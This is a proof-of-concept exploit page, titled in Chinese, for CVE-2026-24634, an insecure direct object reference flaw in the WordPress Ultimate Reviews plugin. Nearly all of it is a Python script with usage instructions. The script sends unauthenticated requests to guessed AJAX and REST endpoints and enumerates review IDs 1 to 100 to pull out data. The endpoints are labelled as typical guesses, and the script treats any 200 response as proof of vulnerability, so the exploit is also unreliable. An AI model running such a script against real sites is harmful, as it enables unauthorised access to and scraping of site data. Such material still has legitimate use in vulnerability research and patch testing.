CVE-2026-24634 WordPress Ultimate Reviews插件授权绕过漏洞

# CVE-2026-24634 PoC - WordPress Ultimate Reviews IDOR Vulnerability # Description: Insecure Direct Object Reference in Ultimate Reviews plugin <= 3.2.16 # CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N import requests import sys from urllib.parse import urljoin def test_idor_vulnerability(target_url, comment_id=1): """ Test for IDOR vulnerability in Ultimate Reviews plugin This PoC demonstrates how an unauthenticated attacker can access review comments without proper authorization. """ # Target endpoint - typically in wp-admin or AJAX handler endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/ultimate-reviews/{comment_id}", f"{target_url}/?rest_route=/ultimate-reviews/v1/review/{comment_id}" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } print(f"[*] Testing IDOR vulnerability on: {target_url}") print(f"[*] Target comment ID: {comment_id}") for endpoint in endpoints: try: # Attempt to access review with different IDs # Without proper authorization check, this should return data response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: Endpoint {endpoint} returned data for comment ID {comment_id}") print(f"[+] Response preview: {response.text[:200]}...") elif response.status_code == 403: print(f"[-] Protected: Endpoint {endpoint} returned 403 Forbidden") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") def enumerate_reviews(target_url, start_id=1, end_id=100): """ Enumerate accessible reviews by iterating through IDs This demonstrates the data leakage aspect of the vulnerability """ print(f"\n[*] Attempting to enumerate reviews from ID {start_id} to {end_id}") accessible_reviews = [] for review_id in range(start_id, end_id + 1): # Common vulnerable endpoint pattern url = f"{target_url}/wp-admin/admin-ajax.php?action=get_review&id={review_id}" try: response = requests.get(url, timeout=5) if response.status_code == 200 and "review" in response.text.lower(): print(f"[+] Found accessible review ID: {review_id}") accessible_reviews.append(review_id) except: continue print(f"\n[*] Total accessible reviews found: {len(accessible_reviews)}") return accessible_reviews if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url> [comment_id]") print("Example: python poc.py https://example.com 1") sys.exit(1) target = sys.argv[1] cid = int(sys.argv[2]) if len(sys.argv) > 2 else 1 test_idor_vulnerability(target, cid) enumerate_reviews(target)